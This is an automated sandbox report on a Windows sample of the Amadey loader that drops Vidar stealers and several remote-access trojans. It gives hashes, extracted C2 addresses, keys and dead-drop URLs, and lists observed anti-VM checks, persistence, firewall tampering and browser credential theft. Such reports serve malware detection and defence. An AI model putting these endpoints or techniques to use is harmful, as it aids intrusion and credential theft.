amadey | be68f32481e1551531f9c2ae9322870aa30e48224fb0ad1f4468b04ec07374c0

max time kernel
200s
max time network
603s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
06/04/2026, 23:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
random.exe
Size 6.8MB
Sample260406-3rdy1set6j
SHA256 be68f32481e1551531f9c2ae9322870aa30e48224fb0ad1f4468b04ec07374c0
MD5 001e8ad1e0d0800e75b1fa32b07d2a46
SHA1 4c4fd4adfbcb8a2c3831f0f9605fcf65b44e9db7
SHA512 f0dde843f8b83c74ec05e7dbfa311f6943f5707c5ea641c7adfeab3e8cb2561c77c4ef0b74916fe90267a5c7093df98dd506ca89f1b24c6d5cc86f09539625f6
SSDEEP 196608:N0Dyo+Ougx9JW8e0e3/tELtyuT8IziZdG3fz:N0OfKWPKLtVQIeCz
TLSH
T18F7633D43BD9A7A8E08B5BF9AEE180FA90A2C3F87CA8743C4D5E5141FC64A39B401D55
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

amadey

Version

5.55

Botnet

fbf543

http://94.154.35.25

Attributes

install_dir
96a319e745
install_file
Srxelqcif.exe
strings_key
f8bfac017914b836f3106c5bcd0878fe
url_paths
/di9ku38f/index.php

rc4.plain

Extracted

Family

vidar

Version

15.6

Botnet

fc155c5bf8a148a93a2ba17de68393f0n

Campaign

rif0lm

https://telegram.me/rif0lm
https://steamcommunity.com/profiles/76561198783900411

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0

Extracted

Family

vidar

Version

Botnet

aab71522287c252ded052c0e53d03ffe

https://telegram.me/p74kol
https://steamcommunity.com/profiles/76561198721902688

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0

Extracted

Family

vidar

Version

Botnet

4fd4a45cf60b0189cc9009ecab7bb088

https://telegram.me/nwwfh8
https://steamcommunity.com/profiles/76561198719385745

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0

Extracted

Family

quasar

Version

1.4.1

Botnet

Google Chrome

196.251.107.24:4782

Mutex

15fffa08-e63c-41fb-ac4a-5b24c2a4872f

Attributes

encryption_key
363C5465989001701BFD2DE6993628E0264DC7E7
install_name
Chrome.exe
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
Logs
reconnect_delay
3000
startup_key
Google Chrome
subdirectory
Google

Extracted

Family

njrat

Version

Njrat 0.7 Golden By Hassan Amiri

Botnet

default

196.251.107.24:5552

Mutex

Windows Update

Attributes

reg_key
Windows Update
splitter
|Hassan|

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

196.251.107.24:4449

Mutex

khbnoparazawtv

Attributes

delay
1
install
true
install_file
Google.exe
install_folder
%AppData%

aes.plain

Extracted

Family

vidar

Version

Botnet

0c14910b9da47efb683982ba180cb5d2

https://telegram.me/p74kol
https://steamcommunity.com/profiles/76561198721902688

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0

Extracted

Family

vidar

Version

Botnet

2af07abbf7b786a4a194ee952813d31c

https://telegram.me/nwwfh8
https://steamcommunity.com/profiles/76561198719385745

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0

Extracted

Family

vidar

Version

Botnet

068b0930042d878de1050d22d8a1be7f

https://telegram.me/p74kol
https://steamcommunity.com/profiles/76561198721902688

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0

Extracted

Family

vidar

Version

Botnet

7269b1f815dcd09daebf1908078f7575

https://telegram.me/nwwfh8
https://steamcommunity.com/profiles/76561198719385745

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral14/files/0x001b00000002ad65-12824.dat	family_asyncrat

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Detects Amadey x86-bit Payload 1 IoCs

resource	yara_rule
behavioral14/files/0x000200000002a78c-13.dat	family_amadey_v2

Detects Vidar Stealer 10 IoCs

stealer

resource	yara_rule
behavioral14/memory/2460-45-0x0000000140000000-0x000000014065B000-memory.dmp	family_vidar_v15
behavioral14/memory/2460-80-0x0000000140000000-0x000000014065B000-memory.dmp	family_vidar_v15
behavioral14/memory/5544-101-0x0000000140000000-0x000000014065B000-memory.dmp	family_vidar_v15
behavioral14/memory/4496-1109-0x0000000140000000-0x0000000140104000-memory.dmp	family_vidar_v15
behavioral14/memory/2460-803-0x0000000140000000-0x000000014065B000-memory.dmp	family_vidar_v15
behavioral14/memory/1008-122-0x0000000140000000-0x000000014065B000-memory.dmp	family_vidar_v15
behavioral14/memory/1008-121-0x0000000140000000-0x000000014065B000-memory.dmp	family_vidar_v15
behavioral14/memory/5544-105-0x0000000140000000-0x000000014065B000-memory.dmp	family_vidar_v15
behavioral14/memory/3688-8759-0x00007FF72A090000-0x00007FF72A198000-memory.dmp	family_vidar_v15
behavioral14/memory/12168-17535-0x00007FF7EA670000-0x00007FF7EA777000-memory.dmp	family_vidar_v15

Njrat family
njrat
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral14/memory/4428-7135-0x0000000000C50000-0x0000000000F74000-memory.dmp	family_quasar
behavioral14/files/0x0007000000000681-7142.dat	family_quasar

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral14/files/0x0006000000025b9e-61.dat	Nirsoft

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1QFyK6WSuo.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe

NirSoft NirCmd 1 IoCs

NirCmd is a lightweight Windows command-line tool for automating system tasks

resource	yara_rule
behavioral14/files/0x0006000000025b9e-61.dat	NirCmd

Badlisted process makes network request 64 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
36	4036	powershell.exe
191	4036	powershell.exe
194	4036	powershell.exe
195	4036	powershell.exe
196	4036	powershell.exe
197	4036	powershell.exe
198	4036	powershell.exe
199	4036	powershell.exe
200	4036	powershell.exe
201	4036	powershell.exe
202	4036	powershell.exe
203	4036	powershell.exe
204	4036	powershell.exe
205	4036	powershell.exe
206	4036	powershell.exe
207	4036	powershell.exe
208	4036	powershell.exe
209	4036	powershell.exe
211	4036	powershell.exe
212	4036	powershell.exe
213	4036	powershell.exe
214	4036	powershell.exe
215	4036	powershell.exe
216	4036	powershell.exe
217	4036	powershell.exe
218	4036	powershell.exe
219	4036	powershell.exe
220	4036	powershell.exe
221	4036	powershell.exe
224	4036	powershell.exe
225	4036	powershell.exe
226	4036	powershell.exe
227	4036	powershell.exe
228	4036	powershell.exe
229	4036	powershell.exe
230	4036	powershell.exe
231	4036	powershell.exe
232	4036	powershell.exe
233	4036	powershell.exe
234	4036	powershell.exe
235	4036	powershell.exe
236	4036	powershell.exe
237	4036	powershell.exe
240	4036	powershell.exe
241	4036	powershell.exe
242	4036	powershell.exe
243	4036	powershell.exe
244	4036	powershell.exe
245	4036	powershell.exe
246	4036	powershell.exe
247	4036	powershell.exe
248	4036	powershell.exe
249	4036	powershell.exe
250	4036	powershell.exe
252	4036	powershell.exe
254	4036	powershell.exe
255	4036	powershell.exe
257	4036	powershell.exe
259	4036	powershell.exe
260	4036	powershell.exe
261	4036	powershell.exe
262	4036	powershell.exe
263	4036	powershell.exe
267	4036	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6928	powershell.EXE
4104	powershell.EXE
4036	powershell.exe
5184	powershell.exe
4828	powershell.exe
5688	powershell.exe
5844	powershell.exe
6852	powershell.exe
6248	powershell.exe

Downloads MZ/PE file 9 IoCs

flow	pid	Process
32	3668	svchostam.exe
2	3668	svchostam.exe
136	4496	svchost.exe
136	4496	svchost.exe
136	4496	svchost.exe
136	4496	svchost.exe
5	3668	svchostam.exe
5	3668	svchostam.exe
310	700	89Qm0ugfHs.exe

Drops file in Drivers directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe
File created	C:\Windows\system32\drivers\etc\hosts	1QFyK6WSuo.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6328	netsh.exe
7524	netsh.exe
6000	netsh.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
6868	chrome.exe
1156	chrome.exe
5268	chrome.exe
7700	chrome.exe
1720	chrome.exe
8396	chrome.exe
10144	chrome.exe
10420	chrome.exe

Checks BIOS information in registry 2 TTPs 16 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchostmanager.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchostmanager.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1QFyK6WSuo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchostmanager.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchostmanager.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchostmanager.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchostmanager.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1QFyK6WSuo.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 26 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google.lnk	89Qm0ugfHs.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google.lnk	89Qm0ugfHs.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\+ubORYNrilYb.exe.lnk	+ubORYNrilYb.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iBqgwj7iaqju.exe.lnk	iBqgwj7iaqju.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XiMgWxSWiNgW.exe.lnk	XiMgWxSWiNgW.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ULSNar4+XOhN.exe.lnk	ULSNar4+XOhN.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sdvCMLskdPNm.exe.lnk	sdvCMLskdPNm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lTw+fYlRJFmE.exe.lnk	lTw+fYlRJFmE.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lTw+fYlRJFmE.exe.lnk	lTw+fYlRJFmE.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MxN2nsQfv3fX.exe.lnk	MxN2nsQfv3fX.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MxN2nsQfv3fX.exe.lnk	MxN2nsQfv3fX.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iBqgwj7iaqju.exe.lnk	iBqgwj7iaqju.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tG+oSg7Qppmj.exe.lnk	tG+oSg7Qppmj.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java update.exe	hJI8LdTnvv.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cTV7tfa91qPB.exe.lnk	cTV7tfa91qPB.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sdvCMLskdPNm.exe.lnk	sdvCMLskdPNm.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rxBCDvBE5Z4U.exe.lnk	rxBCDvBE5Z4U.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rxBCDvBE5Z4U.exe.lnk	rxBCDvBE5Z4U.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TlKaD7kSTxXM.exe.lnk	TlKaD7kSTxXM.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TlKaD7kSTxXM.exe.lnk	TlKaD7kSTxXM.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ULSNar4+XOhN.exe.lnk	ULSNar4+XOhN.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cTV7tfa91qPB.exe.lnk	cTV7tfa91qPB.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\+ubORYNrilYb.exe.lnk	+ubORYNrilYb.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tG+oSg7Qppmj.exe.lnk	tG+oSg7Qppmj.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XiMgWxSWiNgW.exe.lnk	XiMgWxSWiNgW.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java update.exe	hJI8LdTnvv.exe

Executes dropped EXE 64 IoCs

pid	Process
2460	svchostmanager.exe
3668	svchostam.exe
5544	svchostmanager.exe
1008	svchostmanager.exe
4968	svchostam.exe
1988	systemhelper.exe
1724	svchosthelper.exe
1856	nircmd.exe
4964	NSudoLG.exe
456	svchostam.exe
2176	svchosthelper.exe
2640	systemhelper.exe
4820	nircmd.exe
3956	NSudoLG.exe
4900	M94scZj.exe
4468	svchosthelper.exe
4508	7z.exe
5964	7z.exe
5624	game.exe
480	game.exe
4172	game.exe
1256	game.exe
3632	game.exe
376	game.exe
2148	svchosthelper.exe
5336	3AqaBYF.exe
1644	IObitUnlocker.exe
1092	svchosthelper.exe
4416	svchosthelper.exe
228	IObitUnlocker.exe
5044	IObitUnlocker.exe
1028	IObitUnlocker.sys
3512	IObitUnlocker.exe
3156	IObitUnlocker.exe
1908	IObitUnlocker.exe
5132	IObitUnlocker.exe
3204	IObitUnlocker.exe
2904	IObitUnlocker.exe
5936	IObitUnlocker.exe
3048	IObitUnlocker.exe
1064	8c86652ee3.exe
6028	svchosthelper.exe
396	IObitUnlocker.exe
3736	IObitUnlocker.exe
3096	IObitUnlocker.exe
2292	IObitUnlocker.exe
4396	IObitUnlocker.exe
5740	IObitUnlocker.exe
2932	IObitUnlocker.exe
1568	IObitUnlocker.exe
4892	IObitUnlocker.exe
3172	IObitUnlocker.exe
2288	IObitUnlocker.exe
532	svchosthelper.exe
3524	svchosthelper.exe
3688	c36f0a3f9c.exe
4964	svchosthelper.exe
3988	svchosthelper.exe
4452	svchosthelper.exe
1976	svchosthelper.exe
1304	svchosthelper.exe
5032	svchosthelper.exe
5928	svchosthelper.exe
968	svchosthelper.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Wine	random.exe

Loads dropped DLL 24 IoCs

pid	Process
5336	3AqaBYF.exe
5336	3AqaBYF.exe
1644	IObitUnlocker.exe
228	IObitUnlocker.exe
5044	IObitUnlocker.exe
3512	IObitUnlocker.exe
3156	IObitUnlocker.exe
1908	IObitUnlocker.exe
5132	IObitUnlocker.exe
3204	IObitUnlocker.exe
2904	IObitUnlocker.exe
5936	IObitUnlocker.exe
3048	IObitUnlocker.exe
396	IObitUnlocker.exe
3736	IObitUnlocker.exe
3096	IObitUnlocker.exe
2292	IObitUnlocker.exe
4396	IObitUnlocker.exe
5740	IObitUnlocker.exe
2932	IObitUnlocker.exe
1568	IObitUnlocker.exe
4892	IObitUnlocker.exe
3172	IObitUnlocker.exe
2288	IObitUnlocker.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Themida packer 5 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral14/memory/7596-8701-0x00007FF691F10000-0x00007FF692ECD000-memory.dmp	themida
behavioral14/memory/7596-8911-0x00007FF691F10000-0x00007FF692ECD000-memory.dmp	themida
behavioral14/memory/7596-9274-0x00007FF691F10000-0x00007FF692ECD000-memory.dmp	themida
behavioral14/memory/1896-9279-0x00007FF73B1A0000-0x00007FF73C15D000-memory.dmp	themida
behavioral14/memory/1896-9403-0x00007FF73B1A0000-0x00007FF73C15D000-memory.dmp	themida

Accesses Microsoft Outlook profiles 1 TTPs 8 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	c36f0a3f9c.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	c36f0a3f9c.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	c36f0a3f9c.exe
Key opened	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	c36f0a3f9c.exe

Adds Run key to start application 2 TTPs 14 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\cTV7tfa91qPB.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bidVtlVwiMfILcd7\\cTV7tfa91qPB.exe"	cTV7tfa91qPB.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\MxN2nsQfv3fX.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x88rUZL8KJHhfX1U\\MxN2nsQfv3fX.exe"	MxN2nsQfv3fX.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\iBqgwj7iaqju.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ePGM3vZARkVc1ZuR\\iBqgwj7iaqju.exe"	iBqgwj7iaqju.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\tG+oSg7Qppmj.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bX+A2i+HKXn7Q+3y\\tG+oSg7Qppmj.exe"	tG+oSg7Qppmj.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\XiMgWxSWiNgW.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wkzc8NwMrgroUzr\\XiMgWxSWiNgW.exe"	XiMgWxSWiNgW.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Update = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\hJI8LdTnvv.exe\" .."	hJI8LdTnvv.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google = "C:\\Users\\Admin\\AppData\\Roaming\\Google.exe"	89Qm0ugfHs.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\sdvCMLskdPNm.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tczRbEY3RWzEr0d+\\sdvCMLskdPNm.exe"	sdvCMLskdPNm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\+ubORYNrilYb.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\YI44yvyFdC+1ijrp\\+ubORYNrilYb.exe"	+ubORYNrilYb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\lTw+fYlRJFmE.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x88rUZL8KJHhfX1U\\lTw+fYlRJFmE.exe"	lTw+fYlRJFmE.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\rxBCDvBE5Z4U.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\5G6JREwdrkpTjBQe\\rxBCDvBE5Z4U.exe"	rxBCDvBE5Z4U.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\TlKaD7kSTxXM.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\mUF3TarI6HQzk2Rc\\TlKaD7kSTxXM.exe"	TlKaD7kSTxXM.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\ULSNar4+XOhN.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dMiBE6G1tXQ+geg\\ULSNar4+XOhN.exe"	ULSNar4+XOhN.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-600123060-2148212387-2211176695-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\hJI8LdTnvv.exe\" .."	hJI8LdTnvv.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1QFyK6WSuo.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\mlflgnidohcdebodadahjnmmkdgmnplk\1.0.0_0\manifest.json	chrome.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\mlflgnidohcdebodadahjnmmkdgmnplk\1.0.0_1\manifest.json	chrome.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Looks up external IP address via web service 8 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1218	api.ipify.org
64	ip-api.com
343	ipapi.co
344	ipapi.co
348	ipapi.co
1169	api.ipify.org
1169	ip-api.com
1217	api.ipify.org

Power Settings 1 TTPs 8 IoCs

